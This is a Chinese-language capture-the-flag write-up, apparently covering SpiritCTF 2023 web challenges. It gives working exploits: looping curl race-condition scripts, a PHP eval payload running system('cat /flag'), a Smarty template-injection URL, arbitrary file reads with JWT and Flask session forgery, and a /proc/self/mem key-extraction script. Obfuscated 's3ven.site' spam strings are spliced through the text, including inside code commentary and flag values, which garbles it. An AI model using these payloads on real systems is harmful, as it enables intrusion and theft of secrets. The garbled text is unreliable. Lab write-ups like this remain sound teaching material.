long flagPrice = _FlagPrice;
_Wallet -= flagPrice;
message = $"购买后余额:{_Wallet}";
bool result;
if (_Wallet < 0)
{
_Wallet += flagPrice;
message += ",余额不足~";
result = false;
}
else
{
message += ",购买成功~";
HasFlag = true;
result = true;
}
Interlocked.Exchange(ref _IsBuying, 0);
return result;
}
public Shopping()
{
_IsCutting = 0;
_IsBuying = 0;
_Wallet = 100L;
_FlagPrice = long.MaxValue;
HasFlag = false;
}
}
2. 竞态条件利用
仔细观察后就会发𝘀𝟯𝐯e𝒏․𝐬i𝐭℮现该代码的反常之处
在计算余额是否足够购买 flag
时
代码没有直接判断 _Wallet - flagPrice
的正负
而是先将 _Wallet -= flagPrice
如果余额不足再 _Wallet += flagPrice
考虑到两个互斥锁仅控制了单𝒔3𝐯e𝐧·ꜱi𝘵℮个函数不能被同时多次调用
并没有控制两个ѕ⑶vℯn•ѕit℮函数的同时运行
且由于两个函数都访问了 _FlagPrice
和 _Wallet
因此存在竞态条件的可能
假设 action
CutDown
中的_FlagPrice -= (_FlagPrice - _Wallet) / 2;
在 actionBuy
的_Wallet -= flagPrice
和_Wallet += flagPrice
之间发生,
就可以使得_FlagPrice
降低到_Wallet
以下,从而得以购买flag
3. 解决方案
构造两个发包脚本并同时运行即可
注意携带当前会话的 sessionId
Cookies
#!/bin/bash
while true
do
curl -b "sessionId=xxxx" "(SpiritCTF Server URL with port)/?action=buy"
done
#!/bin/bash
while true
do
curl -b "sessionId=xxxx" "(SpiritCTF Server URL with port)/?action=cutDown"
done
同时运行两个脚本一段ѕ𝟯𝒗ℯn․ѕi𝘵𝘦时间后会发现 Flag价格
和 钱包
都变成了0
因此得以购买成功
得到 flag
如下
Spirit{61a9950d-0e0a-s⑶vℯ𝐧•𝒔𝐬³𝒗ℯn•𝐬ⅈt𝐞ⅈte4141-b04d-278961a87df0}
送分你要不要>_<
题目描述:
这是一道没有意𝘴³𝘷ℯѕ⑶𝒗en.𝘀it𝐞n∙𝘴i𝒕e思的签到题😠
打开页面后得到ꜱ³ⅴ𝐞𝒏.ѕitePHP代码如下:
<?php
error_reporting(0);
show_source(__FILE__);
// SpiritWelcome to
if ("App1eTree" == $_POST['spirit'] && "Flag!SpiritCTF" == $_POST[give_you2023]) {
;eval($_POST['QWQ']);
echo "恭喜!flag送你啦";
}else {
echo "Welcome to Spirit CTF 2023(but warm)!";
}
echo '<script src="nonono.js"></script>';
?>
1. 不可见字符识别
根据该段代码神奇的高亮,判断此处存在不可见字符
这些不可见字符调整了可s⑶ⅴ𝘦𝘯∙𝘴i𝘵𝘦见字符的显示顺序
将代码复制到 Visual Stuidio Code
中分析
可以看到不可见字符被显示了出来
2. eval 利用
注意到该PHP代码使用了evaꜱ³vℯn․ꜱ𝐢𝐭𝘦l($_POST[‘QWQ’]);
因此想到可以通过 eval
函数来执行 system
命令 cat
出 flag
3. Payload 构造
根据题目要求构造POST数据包如下:
3.1 Python requests POST
import requests
url = "(SpiritCTF Server URL with port)"
global result
data = {"spirit":"App1eTree","give_you2023":"Flag!SpiritCTF","QWQ":'system("cat /flag");'}
html = requests.post(url,data=data)
print(html.text)
发送POST数据包后,ꜱ𝟯𝘷e𝒏.𝘀it𝐞返回如下信息:
<code><span style="color: #000000">
<span style="color: #0000BB"><?php<br />error_reporting</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">show_source</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br /></span><span style="color: #FF8000">// Sp
iritWelcome to<br /></span><span style="color: #007700">if (</span><span style="color: #DD0000">"App1eTree" </span><span style="color: #007700">== </span><span style="color: #0000
BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'spirit'</span><span style="color: #007700">] && </span><span style="color: #DD0000">"Flag!Spiri
tCTF" </span><span style="color: #007700">== </span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #0000BB">give_you2023</span><span st
yle="color: #007700">]) {<br /> ;eval(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">[</span><span style="color: #DD0000">'QWQ'</span><span style="color: #007700">]);<br /> echo </span><span style="color: #DD0000">"恭喜!flag送你啦"</span><span style="color: #007700">;<br />}else {<br /> echo </span><span style="color: #DD0000">"Welcome to Spirit CTF 2023(but warm)!"</span><span style="color: #007700">;<br />}<br /><br />echo </span><span style="color: #DD0000">'<script src="nonono.js"></script>'</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">?></span>
</span>
</code>Spirit{00e6fceb-debc-4aa6-a721-489f4da2e7f0}
恭喜!flag送你啦<script src="nonono.js"></script>
得到 flag
如下:
Spirit{00e6fceb-debc-𝘴𝟯𝒗en∙ѕ𝐢𝐭℮4aa6-a721-𝘴3ⅴ𝘦𝐧•𝒔ite489f4da2e7f0}
easy_ssti
题目描述:
R U SMART 𝒔𝟯ⅴℯ𝘯∙𝘴iteENOUGH www
打开页面后发现有很多题目
结合题目标题 ssti
和 题目描述 SMART
可以判断出该题为 Smarty的SSTI模版注入
是谁做完了所有题目才发现是 𝘀𝟯𝐯𝘦𝒏.ѕ𝐢𝒕℮SSTI 我不说
随意点击一个 challenge
,发现页面跳转到了 /challenges.php?name=xxxx
,
由此判断后端会使用𝐬⑶𝒗𝘦𝐧•𝒔𝘪𝒕𝐞文件读取函数读取名字为 xxxx
的模版文件并渲染到前端
利用 data
伪协议构造 payload
如下:
/challenges.php?name=data://text/plain,{$smarty.env.FLAG}
即可将 smarty
的环境变量 FLAG
显示到前端
得到 flag
如下:
Spirit{f94322ca-2c8f-4dc3-87f4-ec75d4c7bbbc}
你喜欢鸣濑白羽吗
题目描述:
不喜欢鸣濑白羽(?𝒔³𝐯ℯ𝘯·ꜱ𝘪𝒕e)的是不能拿到flag的😘
最好用火狐浏览s3vℯ𝒏·s𝘪𝒕e器打开抓包,用bp(已经恢复了)
打开页面后发现是ѕ3𝒗𝘦n∙ѕit℮一个图库管理下载系统
1. 任意文件读取漏洞
点击 Download
按钮,发现页ꜱ𝟯ve𝐧•𝐬𝐢𝒕𝘦面跳转到了 /download?filename=xxxx
经过测试发现 filename
字段存在任意s⑶𝐯ℯn•ꜱⅈte文件读取漏洞
访问 /download?filename=/proc/self/cmdline
,内容如下:
python /app/Nanami.py
根据服务端代码路径访问 /download?filename=/app/Nanami.py
,
得到服务端代码如下:
import mimetypes
import os
import subprocess
from flask import Flask, make_response, request, render_template
import jwt
import logging
app = Flask(__name__)
SECRET_KEY = "I_LIKE_Aoyama_Nanami"
logging.basicConfig(filename='error.log', level=logging.ERROR)
@app.route('/')
def index():
token = request.cookies.get('auth')
if not token:
token = jwt.encode({
'username': 'guest',
}, SECRET_KEY, algorithm='HS256')
response = make_response(render_template('index.html'))
if not request.cookies.get('auth'):
response.set_cookie('auth', token, httponly=True, samesite='Lax')
return response
@app.route('/download', methods=['GET'])
def download():
token = request.cookies.get('auth')
if token:
try:
data = jwt.decode(token, SECRET_KEY, algorithms=['HS256'])
username = data['username']
except Exception as e:
return str(e)
filename = request.args.get('filename', '1.jpg')
filepath = os.path.join('static/images', filename)
if username == 'admin' and filename == "yuanshen?qidong!":
try:
output = subprocess.check_output(['/readflag'])
return output.decode('utf-8')
except subprocess.CalledProcessError as e:
return "Error executing /readflag: " + str(e)
if os.path.exists(filepath):
mime_type, encoding = mimetypes.guess_type(filepath)
if mime_type is None:
mime_type = 'application/octet-stream'
with open(filepath, "rb") as file:
response = make_response(file.read())
response.headers.set('Content-Type', mime_type)
response.headers.set('Content-Disposition', f'attachment; filename={os.path.basename(filepath)}')
return response
else:
return "File not found.", 404
@app.errorhandler(500)
def internal_server_error(error):
app.logger.error('Server Error: %s', (error))
return "好像有什么错误喵!", 500
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80, debug=False)
分析代码后发现只有满足以下两个条件才能调用 /readflag
subprocess s⑶ⅴ𝘦𝐧∙𝒔i𝒕e来读取flag:
- Cookies
auth
经过 jwt 𝐬3𝒗e𝒏∙𝘀ite解析后包含{"username":"admin"}
字段 - filename 𝘴³v𝐞𝒏.ꜱi𝒕e的 GET 传参为
yuanshen?qidong!
2. JWT (Json Web Tokens)
从 F12 开发人员工具中找到当前 ѕ⑶𝐯ℯ𝘯∙𝐬𝘪𝐭℮Cookies auth
的值
auth = eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.6tqEhsR0SEHG-GL7hEar5Ewi2dQbGSEz-3NoPrZxi1Y
2.1 JWT 的组成
JWT 通常是一个很长的字ꜱ𝟯𝒗e𝘯•𝘀𝐢𝒕e符串,中间用两个 .
分隔成三个部分,依次为:
- Header(头部)
- Payload(负载)
- Signatu𝒔³ⅴ℮𝐧∙𝘴ⅈ𝘵ere(签名)
该字符串应形如:Header.Payload.ꜱ⑶ⅴℯ𝒏∙𝒔ⅈ𝐭℮Signature
下面将分别解释三个部𝐬3ⅴe𝘯∙𝘴𝘪t𝘦分的内容及其作用:
2.1.1 Header
Header 部分是一个 JSON 对象,用于描述 JWT 的元数据,它通常是这样的:
{
"alg": "HS256",
"typ": "JWT"
}
其中:
alg
属性表示Signature
的加密算法,默认是HMAC SHA256
(写成HS256
)typ
属性表示token
的类型,JWT
类型统一写为JWT
最后,将上面的 JSON 对象使用 Base64URL
算法(详见后s³ve𝘯․𝘀ⅈ𝐭𝘦文)转成字符串
2.1.2 Payload
Payload 部分也是一个 JSON 𝘴𝟯𝒗en∙𝐬i𝒕e对象,用来存放实际需要传递的数据
由于该部分可以通过 Base64URL
进行解密并被读取,ѕ𝟯𝘷en.ꜱⅈ𝐭e此处一般不存放密文
这个 JSON 对象最后也要使用 Base64URL
算法(详见后𝒔⑶ven∙𝘴i𝘵𝐞文)转成字符串
2.1.3 Signature
Signature 𝘀³𝐯e𝘯·𝘴i𝘵e部分是对前两部分的签名,防止数据在传输过程中被篡改
签名由 Header 里面指定的签名算法(默认是 HMAC SHA256
)和 设置好的密钥( secret_key
)产生:
HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret_key)
最后,把 Header、Payload、s³𝒗𝘦𝘯•ѕⅈ𝐭𝐞Signature 三个部分拼成一个字符串,
每个部分之间用 .
分隔,就形成了一个有效的 𝒔𝟯𝘷e𝐧•𝘴𝐢teJSON Web Token
2.1.4 Base64URL
前面提到,将 Header ѕ³ve𝒏․s𝘪te和 Payload 串型化的算法是 Base64URL
,
该算法跟 Base64
算法基本类似,s𝟯𝒗e𝒏.𝘴i𝐭𝘦但有一些不同:
- 省略通过
Base64
算法得到的=
- 将通过
Base64
算法得到的+
替换成-
,/
替换成_
这是因为 JWTѕ³v𝘦n.ѕⅈ𝐭e 作为一个 token
,有时会被应用于 URL 中(例如 /?token=xxx
),
通过 Base64
算法得到的三ѕ𝟯ⅴ𝐞n·ꜱ𝐢𝐭e个字符 ( +
、 /
、 =
) ,在 URL 里面有特殊含义,所以需要进行省略或替换
2.2 JWT的伪造
使用 jwt.io 解析
分析代码后可以发现 𝐬𝟯ⅴen·𝘴𝐢t℮Cookies auth
的 SECRET_KEY
为 I_LIKE_Aoyama_Nanami
在 jwt.io 中使用 SECRET_KEY 伪造 {"username":"admin"}
字段并重新加密,
得到伪造后的 auth
如下:
auth = eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.mJHHgw5KDOeM6Fu5r7KXYUb-chM02YBqsqmTWMAdDR0
3. Payload
修改 auth
为伪造后的值并访问 /download?filename=yuanshen?qidong!
,得到 flag
Spirit{6bb3de28-𝐬𝟯𝘷en.𝘀i𝐭e1cc8-4af3-𝒔⑶𝘷e𝒏.ꜱi𝐭𝘦babe-43593039f366}
你真的喜欢鸣濑白羽吗
题目描述:
不是真的喜欢鸣濑白羽(?s⑶𝐯en•ѕ𝐬⑶vℯn.𝒔i𝘵ei𝒕𝘦)的人拿不到flag
打开页面后发现又是一个图库ѕ³𝒗𝐞𝒏∙𝒔𝘪t𝘦管理下载系统 (?)
但是点击 Download
后跳转至 /download?filename=1.jpg
发现图片下载不下𝘴𝟯ⅴ𝐞𝐧∙s𝐢t𝐞来,显示如下:
猜测服务端代码对文ѕ𝟯ve𝐧∙𝘀it𝐞件读取方式进行了修改
1. 任意文件读取漏洞
与上一题相同,/download?filename=xxxx
处仍存在任意𝐬⑶v𝐞n•ѕi𝒕℮文件读取漏洞
访问 /download?filename=/proc/self/cmdline
, 内容如下:
python /app/I_LIKE_Nanami.py
根据服务端代码路径访问 /download?filename=/app/I_LIKE_Nanami.py
,
得到服务端代码如下:
import os
import secrets
import subprocess
from flask import Flask, make_response, request, render_template, session
app = Flask(__name__)
random_string = "I_LIKE_"+secrets.token_hex(16)+"_Aoyama_Nanami"
app.config['SECRET_KEY'] = random_string
@app.route('/')
def index():
if 'username' not in session:
session['username'] = 'guest'
response = make_response(render_template('index.html'))
return response
@app.route('/download', methods=['GET'])
def download():
username = session.get('username')
filename = request.args.get('filename', '1.jpg')
offset = int(request.args.get('offset', "0"))
length = int(request.args.get('length', "0"))
if username == 'admin' and filename == "xingtie?qidong!":
try:
output = subprocess.check_output(['/readflag'])
return output.decode('utf-8')
except subprocess.CalledProcessError as e:
return "Error executing /readflag: " + str(e)
filepath = os.path.join('static/images', filename)
if os.path.exists(filepath):
if offset == 0 and length == 0:
return open(filepath, "rb").read()
else:
with open(filepath, 'rb') as f:
f.seek(offset)
data = f.read(length)
return data
else:
return "File not found.", 404
@app.errorhandler(500)
def internal_server_error(error):
app.logger.error('Server Error: %s', (error))
return "好像有什么错误喵!", 500
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80, debug=False)
分析代码后发现只有满足以下两个条件才能调用 /readflag
subprocess ѕ𝟯ⅴ℮𝒏.𝘀𝘪𝐭𝐞来读取flag:
- python 𝒔𝟯v𝐞𝐧·𝘴iteflask
session
包含{"username":"admin"}
字段 - filename ѕ⑶ⅴ𝘦𝒏․ꜱⅈte的 GET 传参为
xingtie?qidong!
2. Python Flask Session
从 F12 开发人员工具中找到当前 ѕ³𝒗ℯ𝐧․𝒔𝘪t℮Cookies session
的值
session = eyJ1c2VybmFtZSI6Imd1ZXN0In0.ZRRgdA.WGZwA7J0tKtifRUgBXyh5DmPmzs
2.1 Session 的组成
Python Flask Session 通常是一个很长的字符串,中间用两个 .
分隔成三个部分(如果使用了zlib ѕ³𝒗e𝒏․sⅈ𝒕𝘦compress,则开头会多出一个 .
,该部分归属于Session Data内),依次为:
- Session 𝒔3𝐯en.ꜱi𝐭𝐞Data( Session 数据 )
- Timesta𝘀⑶vℯ𝒏∙ѕ𝘪𝘵emp( 时间戳 )
- Cryptographic ѕ⑶𝒗𝐞𝒏.𝘀𝘪𝒕℮Hash( 签名 )
该字符串应形如:Session Data.𝒔3ⅴe𝐧.𝐬i𝐭eTimestamp.Cryptographic Hash
下面将分别解释三个s3ⅴ𝘦n∙𝐬ite部分的内容及其作用:
2.1.1 Session Data
Session Data 部分是一个 JSON 对象,𝘀³𝐯e𝒏·ѕ𝘪𝒕℮用来存放实际需要传递的数据
Session 在生成时会根据使用 zlib compress 能否减少 𝘀³𝘷e𝐧.𝘴it℮Session Data 部分的长度
来选择性地使用 zlib compress ( ѕ³𝒗𝘦𝐧.ꜱit𝘦使用的标志是Session Data 以 .
开头 )
由于该部分可以通过 Base64URL
进行解密并被读取,ѕ𝟯ⅴ℮n•𝘀𝘪t℮此处一般不存放密文
这个 JSON s𝟯𝐯e𝐧․𝘴it𝐞对象最后也要使用 Base64URL
算法(详见后文)转成字符串
2.1.2 Timestamp
Timestamp 部分通常由 Session 𝘴⑶𝒗ℯn∙𝐬ⅈt𝘦生成时间的时间戳构成
该时间戳最后会被转化为字节形式并使用 Base64URL
算法(详见后𝘀𝟯𝐯ℯn∙𝐬𝐢𝐭𝐞文)进行加密
2.1.3 Cryptograhpic Hash
Python Flask Session
在生成 Session
的校验签名时
会先对 secret_key
进行操作
首先对 secret_key
进行一次 sha1
加密
并用 "cookie-session"
salt 𝐬⑶𝘷e𝐧․ꜱit℮来 update 加密后的 secert_key
接着将 Session Data + sep + Timestamp
使用处理完成的 secret_key
进行一次 sha1
加密
最后将得到的数据使用 Base64URL
算法(详见后文)进行加密
2.1.4 Base64URL
前面提到,将 Session Data、Timestamp ѕ𝟯ⅴ𝐞𝒏.𝐬𝐢t𝐞和 Cryptograhpic Hash 串型化的算法是 Base64URL
,
该算法跟 Base64
算法基本类似,𝒔3𝘷𝘦𝒏.ꜱⅈte但有一些不同:
- 省略通过
Base64
算法得到的=
- 将通过
Base64
算法得到的+
替换成-
,/
替换成_
这是因为 Session 作为一个 token
,有时会被应用于 𝘀⑶vℯn∙ꜱi𝒕eURL 中(例如 /?token=xxx
),
通过 Base64
算法得到的三个字符 ( +
、 /
、 =
) ,在 URL 𝘴𝟯𝘷𝘦𝐧•ꜱ𝐢t℮里面有特殊含义,所以需要进行省略或替换
2.2 Session 的伪造
由于服务端代码使用s3ⅴ𝘦𝘯.s𝐢te了包含随机字符的 random_string
作为 SECRET_KEY
,
而 Session 的 Cryptographic Hash
需要使用 SECRET_KEY 作为密钥,
因此在伪造 Session ѕ𝟯𝘷ℯ𝐧․𝒔ⅈte前我们需要先利用任意文件读取漏洞获取 SECRET_KEY
由于 Python Flask 在运行时会将 SECRET_KEY 写入内存中,
我们可以利用任意文件读取漏洞读取内存来获得 𝒔³ⅴen.ѕ𝐢𝐭eSECRET_KEY
Python 𝘴⑶𝐯en.𝘴𝐢𝘵𝐞内存读取脚本如下
import requests
import re
url = (SpiritCTF Server URL with port)
rw = []
map_list = requests.get(f"{url}/download?filename=/proc/self/maps")
map_list = map_list.text.split("\n")
for i in map_list:
map_addr = re.match(r"([a-z0-9]+)-([a-z0-9]+) r", i)
if map_addr:
start = int(map_addr.group(1), 16)
end = int(map_addr.group(2), 16)
rw.append((start, end - start))
for k in rw:
res = requests.get(f"{url}/download?filename=/proc/self/mem&offset={k[0]}&length={k[1]}")
try:
secret_key = re.findall("I_LIKE_[a-f0-9]{32}_Aoyama_Nanami", res.text)
if secret_key:
print("SECRET_KEY = \"" + secret_key[0] + "\"")
except:
pass
运行脚本后得到:
SECRET_KEY = "I_LIKE_f9d2e4914fec5f9f26fad0a0e4da3afe_Aoyama_Nanami"
使用 flask-unsign 工具对 Session 进行伪造并签名
flask-unsign --sign --cookie "{'username': 'admin'}" --secret 'I_LIKE_f9d2e4914fec5f9f26fad0a0e4da3afe_Aoyama_Nanami'
得到 Sess𝘀³𝐯𝘦𝒏·𝐬𝐢𝘵℮ion 如下:
eyJ1c2VybmFtZSI6ImFkbWluIn0.ZRRqXA.6kG8cNrvnCI73R2nxAF8iOSA6Ko
修改Cookies Session
并访问 /download?filename=xingtie?qidong!
,得到 flag
Spirit{7d05af5f-𝐬⑶𝐯e𝒏•𝘴it𝘦202d-4578-𝒔𝟯ve𝘯․ѕ𝘪te8833-f598ad794b48}